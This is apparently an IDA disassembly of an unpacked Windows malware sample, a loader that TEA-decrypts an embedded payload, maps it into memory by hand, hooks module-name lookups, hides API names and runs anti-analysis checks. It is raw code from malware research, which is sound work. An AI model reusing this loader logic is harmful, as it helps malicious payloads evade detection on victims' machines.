; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 80E3AE8AEE2DE66720293DE5AB5C97CF ; File Name : u:\work\80e3ae8aee2de66720293de5ab5c97cf_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 3D0000 ; Section 1. (virtual address 00001000) ; Virtual size : 000010F5 ( 4341.) ; Section size in file : 000010F5 ( 4341.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 3D1000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1000 proc near ; CODE XREF: sub_3D14C4+136p ; sub_3D14C4+17Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+var_8] push eax push [ebp+var_8] pop eax mov ecx, eax pop eax add ecx, [eax+3Ch] mov [ebp+var_4], ecx push [ebp+var_4] pop eax leave retn sub_3D1000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1022 proc near ; CODE XREF: sub_3D14C4+160p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_0] push [ebp+arg_4] call sub_3D1E6C add esp, 0Ch lea eax, [ebp+var_4] push eax push 2 push [ebp+arg_8] push [ebp+arg_4] call dword_431B40 ; VirtualProtect leave retn sub_3D1022 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1050 proc near ; DATA XREF: sub_3D10B2+42o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_3D1065 push [ebp+arg_0] pop eax cmp eax, off_3EF69C jnz short loc_3D106D loc_3D1065: ; CODE XREF: sub_3D1050+7j mov eax, dword_3EF698 mov [ebp+arg_0], eax loc_3D106D: ; CODE XREF: sub_3D1050+13j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_3EF690 pop ebp retn 0Ch sub_3D1050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1080 proc near ; DATA XREF: sub_3D10B2+66o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_3D1095 push [ebp+arg_0] pop eax cmp eax, off_3EF69C jnz short loc_3D109F loc_3D1095: ; CODE XREF: sub_3D1080+7j push dword_3EF698 pop eax mov [ebp+arg_0], eax loc_3D109F: ; CODE XREF: sub_3D1080+13j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_3EF694 pop ebp retn 0Ch sub_3D1080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D10B2 proc near ; CODE XREF: sub_3D1137+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_0] call ds:dword_3D3000 ; GetProcAddress mov [ebp+var_4], eax push offset aKernel32_dll ; "kernel32.dll" push [ebp+arg_4] call sub_3D1F6F pop ecx pop ecx test eax, eax jnz short loc_3D111F push offset aGetmodulefilen ; "GetModuleFileNameA" push [ebp+arg_8] call sub_3D1EE3 pop ecx pop ecx test eax, eax jnz short loc_3D10FC push [ebp+var_4] pop eax mov dword_3EF690, eax push offset sub_3D1050 pop eax jmp short locret_3D1122 ; --------------------------------------------------------------------------- loc_3D10FC: ; CODE XREF: sub_3D10B2+37j push offset aGetmodulefil_0 ; "GetModuleFileNameW" push [ebp+arg_8] call sub_3D1EE3 pop ecx pop ecx test eax, eax jnz short loc_3D111F push [ebp+var_4] pop eax mov dword_3EF694, eax mov eax, offset sub_3D1080 jmp short locret_3D1122 ; --------------------------------------------------------------------------- loc_3D111F: ; CODE XREF: sub_3D10B2+24j ; sub_3D10B2+5Bj mov eax, [ebp+var_4] locret_3D1122: ; CODE XREF: sub_3D10B2+48j ; sub_3D10B2+6Bj leave retn sub_3D10B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1124 proc near ; CODE XREF: sub_3D1137+AAp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] and eax, 80000000h neg eax sbb eax, eax neg eax pop ebp retn sub_3D1124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1137 proc near ; CODE XREF: sub_3D14C4+193p var_24 = dword ptr -24h var_20 = word ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push 0 call ds:dword_3D3008 ; GetModuleHandleA mov dword_3EF698, eax mov eax, [ebp+arg_4] mov off_3EF69C, eax push [ebp+arg_0] pop eax add eax, 80h mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] add ecx, [eax] mov [ebp+var_4], ecx loc_3D1169: ; CODE XREF: sub_3D1137+132j push [ebp+var_4] pop eax cmp dword ptr [eax+0Ch], 0 jz locret_3D126E and [ebp+var_C], 0 and [ebp+var_10], 0 push [ebp+var_4] pop eax mov ecx, [ebp+arg_4] add ecx, [eax+0Ch] mov [ebp+var_1C], ecx push [ebp+var_1C] call ds:dword_3D3004 ; LoadLibraryA mov [ebp+var_18], eax push [ebp+var_4] pop eax cmp dword ptr [eax+4], 0 jnz short loc_3D11B5 mov eax, [ebp+var_4] push eax push [ebp+arg_4] pop eax mov ecx, eax pop eax add ecx, [eax+10h] mov [ebp+var_C], ecx jmp short loc_3D11C1 ; --------------------------------------------------------------------------- loc_3D11B5: ; CODE XREF: sub_3D1137+69j mov eax, [ebp+var_4] push [ebp+arg_4] pop ecx add ecx, [eax] mov [ebp+var_C], ecx loc_3D11C1: ; CODE XREF: sub_3D1137+7Cj mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [eax+10h] mov [ebp+var_14], ecx loc_3D11CD: ; CODE XREF: sub_3D1137+123j mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz loc_3D125F push [ebp+var_18] mov eax, [ebp+var_C] push dword ptr [eax] call sub_3D1124 pop ecx pop ecx movzx eax, al test eax, eax jz short loc_3D1211 mov eax, [ebp+var_C] push dword ptr [eax] pop eax and eax, 0FFFFh mov [ebp+var_20], ax movzx eax, [ebp+var_20] push eax push [ebp+var_18] call ds:dword_3D3000 ; GetProcAddress mov [ebp+var_10], eax jmp short loc_3D1239 ; --------------------------------------------------------------------------- loc_3D1211: ; CODE XREF: sub_3D1137+B6j push [ebp+var_C] pop eax push eax push [ebp+arg_4] pop eax mov ecx, eax pop eax add ecx, [eax] mov [ebp+var_24], ecx mov eax, [ebp+var_24] inc eax inc eax push eax push [ebp+var_1C] push [ebp+var_18] call sub_3D10B2 add esp, 0Ch mov [ebp+var_10], eax loc_3D1239: ; CODE XREF: sub_3D1137+D8j push [ebp+var_14] pop eax push eax push [ebp+var_10] pop eax mov ecx, eax pop eax mov [eax], ecx mov eax, [ebp+var_14] add eax, 4 mov [ebp+var_14], eax push [ebp+var_C] pop eax add eax, 4 mov [ebp+var_C], eax jmp loc_3D11CD ; --------------------------------------------------------------------------- loc_3D125F: ; CODE XREF: sub_3D1137+9Cj push [ebp+var_4] pop eax add eax, 14h mov [ebp+var_4], eax jmp loc_3D1169 ; --------------------------------------------------------------------------- locret_3D126E: ; CODE XREF: sub_3D1137+3Aj leave retn sub_3D1137 endp ; =============== S U B R O U T I N E ======================================= sub_3D1270 proc near ; CODE XREF: sub_3D1453+31p push ebp push esp pop ebp sub esp, 1Ch mov dword ptr [ebp-1Ch], 9E3779B9h mov dword ptr [ebp-0Ch], 4 add dword ptr [ebp-0Ch], 1Ch mov eax, [ebp+8] mov eax, [eax] mov [ebp-8], eax push dword ptr [ebp+8] pop eax push dword ptr [eax+4] pop eax mov [ebp-14h], eax mov eax, [ebp-1Ch] shl eax, 5 mov [ebp-18h], eax loc_3D12A4: ; CODE XREF: sub_3D1270+CFj push dword ptr [ebp-0Ch] pop eax push dword ptr [ebp-0Ch] pop ecx dec ecx mov [ebp-0Ch], ecx test eax, eax jbe loc_3D1344 push dword ptr [ebp-8] pop eax shl eax, 4 mov [ebp-4], eax push dword ptr [ebp-8] pop eax shr eax, 5 mov [ebp-10h], eax push dword ptr [ebp+0Ch] pop eax push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax add ecx, [eax+8] mov eax, [ebp-8] add eax, [ebp-18h] xor ecx, eax push dword ptr [ebp+0Ch] pop eax push dword ptr [ebp-10h] pop edx add edx, [eax+0Ch] xor ecx, edx mov eax, [ebp-14h] sub eax, ecx mov [ebp-14h], eax push dword ptr [ebp-14h] pop eax shl eax, 4 mov [ebp-4], eax push dword ptr [ebp-14h] pop eax shr eax, 5 mov [ebp-10h], eax push dword ptr [ebp+0Ch] pop eax mov ecx, [ebp-4] add ecx, [eax] push dword ptr [ebp-14h] pop eax add eax, [ebp-18h] xor ecx, eax mov eax, [ebp+0Ch] push eax push dword ptr [ebp-10h] pop eax mov edx, eax pop eax add edx, [eax+4] xor ecx, edx mov eax, [ebp-8] sub eax, ecx mov [ebp-8], eax mov eax, [ebp-18h] sub eax, [ebp-1Ch] mov [ebp-18h], eax jmp loc_3D12A4 ; --------------------------------------------------------------------------- loc_3D1344: ; CODE XREF: sub_3D1270+42j mov eax, [ebp+8] push eax push dword ptr [ebp-14h] pop eax mov ecx, eax pop eax mov [eax+4], ecx push dword ptr [ebp+8] pop eax push eax push dword ptr [ebp-8] pop eax mov ecx, eax pop eax mov [eax], ecx leave retn sub_3D1270 endp ; =============== S U B R O U T I N E ======================================= sub_3D1362 proc near ; CODE XREF: sub_3D13FB+4Cp ; sub_3D1453+19p push ebp push esp pop ebp push ecx push ecx and dword ptr [ebp-8], 0 and dword ptr [ebp-4], 0 loc_3D136F: ; CODE XREF: sub_3D1362+45j push 0 lea eax, [ebp-8] push eax push dword ptr [ebp+10h] pop eax sub eax, [ebp-4] push eax push dword ptr [ebp+0Ch] pop eax add eax, [ebp-4] push eax push dword ptr [ebp+8] call dword_431B54 ; ReadFile test eax, eax jnz short loc_3D1396 xor al, al jmp short locret_3D13AD ; --------------------------------------------------------------------------- loc_3D1396: ; CODE XREF: sub_3D1362+2Ej push dword ptr [ebp-4] pop eax add eax, [ebp-8] mov [ebp-4], eax push dword ptr [ebp-8] pop eax cmp eax, [ebp+10h] jnz short loc_3D136F mov al, 0 add al, 1 locret_3D13AD: ; CODE XREF: sub_3D1362+32j leave retn sub_3D1362 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D13AF proc near ; CODE XREF: sub_3D13FB+2Dp ; sub_3D1453+44p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 loc_3D13BC: ; CODE XREF: sub_3D13AF+44j push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] pop eax sub eax, [ebp+var_4] push eax mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_431B58 ; WriteFile test eax, eax jnz short loc_3D13E2 xor al, al jmp short locret_3D13F9 ; --------------------------------------------------------------------------- loc_3D13E2: ; CODE XREF: sub_3D13AF+2Dj push [ebp+var_4] pop eax add eax, [ebp+var_8] mov [ebp+var_4], eax push [ebp+var_4] pop eax cmp eax, [ebp+arg_8] jnz short loc_3D13BC mov al, 0 add al, 1 locret_3D13F9: ; CODE XREF: sub_3D13AF+31j leave retn sub_3D13AF endp ; =============== S U B R O U T I N E ======================================= sub_3D13FB proc near ; CODE XREF: sub_3D14C4+EBp push ebp push esp pop ebp push ecx and dword ptr [ebp-4], 0 jmp short loc_3D140E ; --------------------------------------------------------------------------- loc_3D1405: ; CODE XREF: sub_3D13FB+54j push dword ptr [ebp-4] pop eax inc eax inc eax mov [ebp-4], eax loc_3D140E: ; CODE XREF: sub_3D13FB+8j mov eax, [ebp-4] cmp eax, [ebp+10h] jnb short locret_3D1451 push 8 mov eax, [ebp-4] mov ecx, [ebp+0Ch] lea eax, [ecx+eax*4] push eax mov eax, [ebp+8] push dword ptr [eax+4] call sub_3D13AF add esp, 0Ch push 8 mov eax, [ebp-4] push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax lea eax, [ecx+eax*4] push eax push dword ptr [ebp+8] pop eax push dword ptr [eax] call sub_3D1362 add esp, 0Ch jmp short loc_3D1405 ; --------------------------------------------------------------------------- locret_3D1451: ; CODE XREF: sub_3D13FB+19j leave retn sub_3D13FB endp ; =============== S U B R O U T I N E ======================================= sub_3D1453 proc near ; DATA XREF: sub_3D14C4+BEo push ebp push esp pop ebp sub esp, 0Ch push dword ptr [ebp+8] pop eax mov [ebp-0Ch], eax loc_3D1460: ; CODE XREF: sub_3D1453+4Cj push 8 lea eax, [ebp-8] push eax push dword ptr [ebp-0Ch] pop eax push dword ptr [eax] call sub_3D1362 add esp, 0Ch movzx eax, al test eax, eax jz short loc_3D14A1 push offset dword_431B29 lea eax, [ebp-8] push eax call sub_3D1270 pop ecx pop ecx push 8 lea eax, [ebp-8] push eax mov eax, [ebp-0Ch] push dword ptr [eax+4] call sub_3D13AF add esp, 0Ch jmp short loc_3D1460 ; --------------------------------------------------------------------------- loc_3D14A1: ; CODE XREF: sub_3D1453+26j xor eax, eax leave retn 4 sub_3D1453 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D14A7 proc near ; CODE XREF: sub_3D14C4+F7p ; sub_3D14C4+101p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] pop eax push dword ptr [eax] call dword_431B48 ; CloseHandle mov eax, [ebp+arg_0] push dword ptr [eax+4] call dword_431B48 ; CloseHandle pop ebp retn sub_3D14A7 endp ; =============== S U B R O U T I N E ======================================= sub_3D14C4 proc near ; CODE XREF: start+3p push ebp push esp pop ebp sub esp, 48h call sub_3D16A0 mov [ebp-4], eax mov eax, [ebp-4] push dword ptr [eax+30h] pop eax mov [ebp-30h], eax push dword ptr [ebp-30h] pop eax movzx eax, byte ptr [eax+2] test eax, eax jz short loc_3D14ED jmp locret_3D168D ; --------------------------------------------------------------------------- loc_3D14ED: ; CODE XREF: sub_3D14C4+22j mov dword_431B29, 1151h add dword_431B29, 69Fh mov dword_431B2D, 1185h add dword_431B2D, 1CC5h mov dword_431B31, 4E3Bh add dword_431B31, 0F21h call sub_3D1900 mov dword_431B35, 0A43h add dword_431B35, 2BB1h push 10h push 0 lea eax, [ebp-34h] push eax lea eax, [ebp-1Ch] push eax call dword_431B50 ; CreatePipe test eax, eax jnz short loc_3D155D jmp locret_3D168D ; --------------------------------------------------------------------------- loc_3D155D: ; CODE XREF: sub_3D14C4+92j push 10h push 0 lea eax, [ebp-18h] push eax lea eax, [ebp-38h] push eax call dword_431B50 ; CreatePipe test eax, eax jnz short loc_3D1578 jmp locret_3D168D ; --------------------------------------------------------------------------- loc_3D1578: ; CODE XREF: sub_3D14C4+ADj lea eax, [ebp-8] push eax push 0 lea eax, [ebp-38h] push eax push offset sub_3D1453 push 0 push 0 call dword_431B4C ; CreateThread mov [ebp-3Ch], eax call ds:dword_3D3010 ; GetTickCount mov [ebp-10h], eax mov eax, dword_3EF67F shr eax, 2 push eax push offset dword_3D4000 lea eax, [ebp-1Ch] push eax call sub_3D13FB add esp, 0Ch lea eax, [ebp-1Ch] push eax call sub_3D14A7 pop ecx lea eax, [ebp-38h] push eax call sub_3D14A7 pop ecx push dword ptr [ebp-3Ch] call dword_431B48 ; CloseHandle call ds:dword_3D3010 ; GetTickCount mov [ebp-0Ch], eax lea eax, [ebp-2Ch] push eax call ds:dword_3D300C ; GetSystemTime movzx eax, word ptr [ebp-26h] cmp eax, 64h jle short loc_3D15F5 jmp locret_3D168D ; --------------------------------------------------------------------------- loc_3D15F5: ; CODE XREF: sub_3D14C4+12Aj push offset dword_3D4000 call sub_3D1000 pop ecx mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jz locret_3D168D mov eax, [ebp-14h] mov eax, [eax+34h] mov [ebp-44h], eax mov eax, [ebp-14h] push dword ptr [eax+54h] push dword ptr [ebp-44h] push offset dword_3D4000 call sub_3D1022 add esp, 0Ch push dword ptr [ebp-44h] push offset dword_3D4000 push dword ptr [ebp-14h] call sub_3D16B0 add esp, 0Ch push dword ptr [ebp-44h] call sub_3D1000 pop ecx mov [ebp-40h], eax cmp dword ptr [ebp-40h], 0 jz short locret_3D168D push dword ptr [ebp-44h] push dword ptr [ebp-40h] call sub_3D1137 pop ecx pop ecx push dword ptr [ebp-44h] push dword ptr [ebp-40h] call sub_3D1855 pop ecx pop ecx mov eax, [ebp-30h] push eax push dword ptr [ebp-44h] pop eax mov ecx, eax pop eax mov [eax+8], ecx mov eax, [ebp-14h] push eax push dword ptr [ebp-44h] pop eax mov ecx, eax pop eax add ecx, [eax+28h] mov [ebp-48h], ecx call dword ptr [ebp-48h] locret_3D168D: ; CODE XREF: sub_3D14C4+24j ; sub_3D14C4+94j ... leave retn sub_3D14C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_3D14C4 xor eax, eax pop ebp retn start endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_3D16A0 proc near ; CODE XREF: sub_3D14C4+6p push ebp push esp pop ebp push large dword ptr fs:18h pop eax pop ebp retn sub_3D16A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_3D16B0 proc near ; CODE XREF: sub_3D14C4+173p push ebp push esp pop ebp sub esp, 28h push dword ptr [ebp+8] pop eax add eax, 0F8h mov [ebp-0Ch], eax push dword ptr [ebp+8] pop eax mov ax, [eax+6] mov [ebp-8], ax mov eax, [ebp-0Ch] mov [ebp-4], eax and word ptr [ebp-10h], 0 jmp short loc_3D16E7 ; --------------------------------------------------------------------------- loc_3D16DB: ; CODE XREF: sub_3D16B0+D4j mov ax, [ebp-10h] add ax, 1 mov [ebp-10h], ax loc_3D16E7: ; CODE XREF: sub_3D16B0+29j movzx eax, word ptr [ebp-10h] movzx ecx, word ptr [ebp-8] cmp eax, ecx jge locret_3D1789 movzx eax, word ptr [ebp-10h] imul eax, 28h push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax push dword ptr [eax+ecx+8] pop eax mov [ebp-24h], eax movzx eax, word ptr [ebp-10h] imul eax, 28h mov ecx, [ebp-4] push dword ptr [eax+ecx+10h] pop eax mov [ebp-14h], eax push dword ptr [ebp-24h] pop eax cmp eax, [ebp-14h] jnb short loc_3D1732 push dword ptr [ebp-24h] pop eax mov [ebp-28h], eax jmp short loc_3D1739 ; --------------------------------------------------------------------------- loc_3D1732: ; CODE XREF: sub_3D16B0+77j push dword ptr [ebp-14h] pop eax mov [ebp-28h], eax loc_3D1739: ; CODE XREF: sub_3D16B0+80j push dword ptr [ebp-28h] pop eax mov [ebp-18h], eax movzx eax, word ptr [ebp-10h] imul eax, 28h push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax push dword ptr [ebp+10h] pop edx add edx, [eax+ecx+0Ch] mov [ebp-1Ch], edx movzx eax, word ptr [ebp-10h] imul eax, 28h push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax mov edx, [ebp+0Ch] add edx, [eax+ecx+14h] mov [ebp-20h], edx push dword ptr [ebp-18h] push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] call sub_3D1E6C add esp, 0Ch jmp loc_3D16DB ; --------------------------------------------------------------------------- locret_3D1789: ; CODE XREF: sub_3D16B0+41j leave retn sub_3D16B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D178B proc near ; CODE XREF: sub_3D1855+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 4000000h jz short loc_3D17A9 push [ebp+var_4] pop eax or eax, 200h mov [ebp+var_4], eax loc_3D17A9: ; CODE XREF: sub_3D178B+10j push [ebp+arg_0] pop eax and eax, 20000000h jz short loc_3D1804 push [ebp+arg_0] pop eax and eax, 40000000h jz short loc_3D17E0 mov eax, [ebp+arg_0] and eax, 80000000h jz short loc_3D17D5 push [ebp+var_4] pop eax or eax, 40h mov [ebp+var_4], eax jmp short loc_3D17DE ; --------------------------------------------------------------------------- loc_3D17D5: ; CODE XREF: sub_3D178B+3Cj mov eax, [ebp+var_4] or eax, 20h mov [ebp+var_4], eax loc_3D17DE: ; CODE XREF: sub_3D178B+48j jmp short loc_3D1802 ; --------------------------------------------------------------------------- loc_3D17E0: ; CODE XREF: sub_3D178B+32j push [ebp+arg_0] pop eax and eax, 80000000h jz short loc_3D17F8 mov eax, [ebp+var_4] or eax, 80h mov [ebp+var_4], eax jmp short loc_3D1802 ; --------------------------------------------------------------------------- loc_3D17F8: ; CODE XREF: sub_3D178B+5Ej push [ebp+var_4] pop eax or eax, 10h mov [ebp+var_4], eax loc_3D1802: ; CODE XREF: sub_3D178B:loc_3D17DEj ; sub_3D178B+6Bj jmp short loc_3D1850 ; --------------------------------------------------------------------------- loc_3D1804: ; CODE XREF: sub_3D178B+27j push [ebp+arg_0] pop eax and eax, 40000000h jz short loc_3D1830 mov eax, [ebp+arg_0] and eax, 80000000h jz short loc_3D1824 mov eax, [ebp+var_4] or eax, 4 mov [ebp+var_4], eax jmp short loc_3D182E ; --------------------------------------------------------------------------- loc_3D1824: ; CODE XREF: sub_3D178B+8Cj push [ebp+var_4] pop eax or eax, 2 mov [ebp+var_4], eax loc_3D182E: ; CODE XREF: sub_3D178B+97j jmp short loc_3D1850 ; --------------------------------------------------------------------------- loc_3D1830: ; CODE XREF: sub_3D178B+82j push [ebp+arg_0] pop eax and eax, 80000000h jz short loc_3D1846 mov eax, [ebp+var_4] or eax, 8 mov [ebp+var_4], eax jmp short loc_3D1850 ; --------------------------------------------------------------------------- loc_3D1846: ; CODE XREF: sub_3D178B+AEj push [ebp+var_4] pop eax or eax, 1 mov [ebp+var_4], eax loc_3D1850: ; CODE XREF: sub_3D178B:loc_3D1802j ; sub_3D178B:loc_3D182Ej ... mov eax, [ebp+var_4] leave retn sub_3D178B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1855 proc near ; CODE XREF: sub_3D14C4+1A0p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_0] add eax, 0F8h mov [ebp+var_C], eax push [ebp+arg_0] pop eax mov ax, [eax+6] mov [ebp+var_8], ax push [ebp+var_C] pop eax mov [ebp+var_4], eax and [ebp+var_10], 0 jmp short loc_3D188C ; --------------------------------------------------------------------------- loc_3D1880: ; CODE XREF: sub_3D1855+9Ej mov ax, [ebp+var_10] add ax, 1 mov [ebp+var_10], ax loc_3D188C: ; CODE XREF: sub_3D1855+29j movzx eax, [ebp+var_10] movzx ecx, [ebp+var_8] cmp eax, ecx jge short locret_3D18F5 movzx eax, [ebp+var_10] imul eax, 28h push eax push [ebp+var_4] pop eax mov ecx, eax pop eax push eax push [ebp+arg_4] pop eax mov edx, eax pop eax add edx, [eax+ecx+0Ch] mov [ebp+var_18], edx movzx eax, [ebp+var_10] imul eax, 28h push [ebp+var_4] pop ecx push dword ptr [eax+ecx+8] pop eax mov [ebp+var_1C], eax lea eax, [ebp+var_14] push eax movzx eax, [ebp+var_10] imul eax, 28h push eax push [ebp+var_4] pop eax mov ecx, eax pop eax push dword ptr [eax+ecx+24h] call sub_3D178B pop ecx push eax push [ebp+var_1C] push [ebp+var_18] call dword_431B40 ; VirtualProtect jmp short loc_3D1880 ; --------------------------------------------------------------------------- locret_3D18F5: ; CODE XREF: sub_3D1855+41j leave retn sub_3D1855 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_3D1900 proc near ; CODE XREF: sub_3D14C4+65p push ebp push esp pop ebp sub esp, 84h push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_3D3008 ; GetModuleHandleA mov [ebp-10h], eax mov byte ptr [ebp-68h], 57h mov byte ptr [ebp-67h], 30h add byte ptr [ebp-67h], 3Ah mov byte ptr [ebp-66h], 39h add byte ptr [ebp-66h], 3Ah mov byte ptr [ebp-65h], 75h mov byte ptr [ebp-64h], 45h add byte ptr [ebp-64h], 31h mov byte ptr [ebp-63h], 62h mov byte ptr [ebp-62h], 6Dh mov byte ptr [ebp-61h], 51h mov byte ptr [ebp-60h], 3Ch add byte ptr [ebp-60h], 37h mov byte ptr [ebp-5Fh], 32h add byte ptr [ebp-5Fh], 3Eh mov byte ptr [ebp-5Eh], 75h mov byte ptr [ebp-5Dh], 66h mov byte ptr [ebp-5Ch], 64h mov byte ptr [ebp-5Bh], 75h mov byte ptr [ebp-5Ah], 0 mov byte ptr [ebp-48h], 48h mov byte ptr [ebp-47h], 66h mov byte ptr [ebp-46h], 23h add byte ptr [ebp-46h], 52h mov byte ptr [ebp-45h], 37h add byte ptr [ebp-45h], 17h mov byte ptr [ebp-44h], 7 add byte ptr [ebp-44h], 69h mov byte ptr [ebp-43h], 65h mov byte ptr [ebp-42h], 4Ah add byte ptr [ebp-42h], 2Ch mov byte ptr [ebp-41h], 0Eh add byte ptr [ebp-41h], 5Fh mov byte ptr [ebp-40h], 66h mov byte ptr [ebp-3Fh], 49h mov byte ptr [ebp-3Eh], 41h add byte ptr [ebp-3Eh], 21h mov byte ptr [ebp-3Dh], 6Fh mov byte ptr [ebp-3Ch], 0Ch add byte ptr [ebp-3Ch], 59h mov byte ptr [ebp-3Bh], 44h add byte ptr [ebp-3Bh], 29h mov byte ptr [ebp-3Ah], 66h mov byte ptr [ebp-39h], 13h add byte ptr [ebp-39h], 2Fh mov byte ptr [ebp-38h], 0 mov byte ptr [ebp-28h], 24h add byte ptr [ebp-28h], 20h mov byte ptr [ebp-27h], 6Dh mov byte ptr [ebp-26h], 70h mov byte ptr [ebp-25h], 0Ch add byte ptr [ebp-25h], 68h mov byte ptr [ebp-24h], 66h mov byte ptr [ebp-23h], 19h add byte ptr [ebp-23h], 30h mov byte ptr [ebp-22h], 62h mov byte ptr [ebp-21h], 6Fh mov byte ptr [ebp-20h], 65h mov byte ptr [ebp-1Fh], 54h add byte ptr [ebp-1Fh], 19h mov byte ptr [ebp-1Eh], 38h add byte ptr [ebp-1Eh], 2Eh mov byte ptr [ebp-1Dh], 0 mov byte ptr [ebp-58h], 44h mov byte ptr [ebp-57h], 68h add byte ptr [ebp-57h], 0Bh mov byte ptr [ebp-56h], 61h add byte ptr [ebp-56h], 5 mov byte ptr [ebp-55h], 62h mov byte ptr [ebp-54h], 66h add byte ptr [ebp-54h], 0Fh mov byte ptr [ebp-53h], 1Bh add byte ptr [ebp-53h], 4Bh mov byte ptr [ebp-52h], 3 add byte ptr [ebp-52h], 52h mov byte ptr [ebp-51h], 37h add byte ptr [ebp-51h], 32h mov byte ptr [ebp-50h], 73h mov byte ptr [ebp-4Fh], 66h mov byte ptr [ebp-4Eh], 62h mov byte ptr [ebp-4Dh], 65h mov byte ptr [ebp-4Ch], 0 mov byte ptr [ebp-1Ch], 1Ch add byte ptr [ebp-1Ch], 28h mov byte ptr [ebp-1Bh], 36h add byte ptr [ebp-1Bh], 3Dh mov byte ptr [ebp-1Ah], 52h add byte ptr [ebp-1Ah], 14h mov byte ptr [ebp-19h], 62h mov byte ptr [ebp-18h], 75h mov byte ptr [ebp-17h], 57h add byte ptr [ebp-17h], 0Fh mov byte ptr [ebp-16h], 51h mov byte ptr [ebp-15h], 6Ah mov byte ptr [ebp-14h], 3 add byte ptr [ebp-14h], 6Eh mov byte ptr [ebp-13h], 5Ch add byte ptr [ebp-13h], 0Ah mov byte ptr [ebp-12h], 0 mov byte ptr [ebp-34h], 2Dh add byte ptr [ebp-34h], 26h mov byte ptr [ebp-33h], 66h mov byte ptr [ebp-32h], 4Fh add byte ptr [ebp-32h], 13h mov byte ptr [ebp-31h], 65h mov byte ptr [ebp-30h], 47h mov byte ptr [ebp-2Fh], 1Ch add byte ptr [ebp-2Fh], 4Eh mov byte ptr [ebp-2Eh], 6Dh mov byte ptr 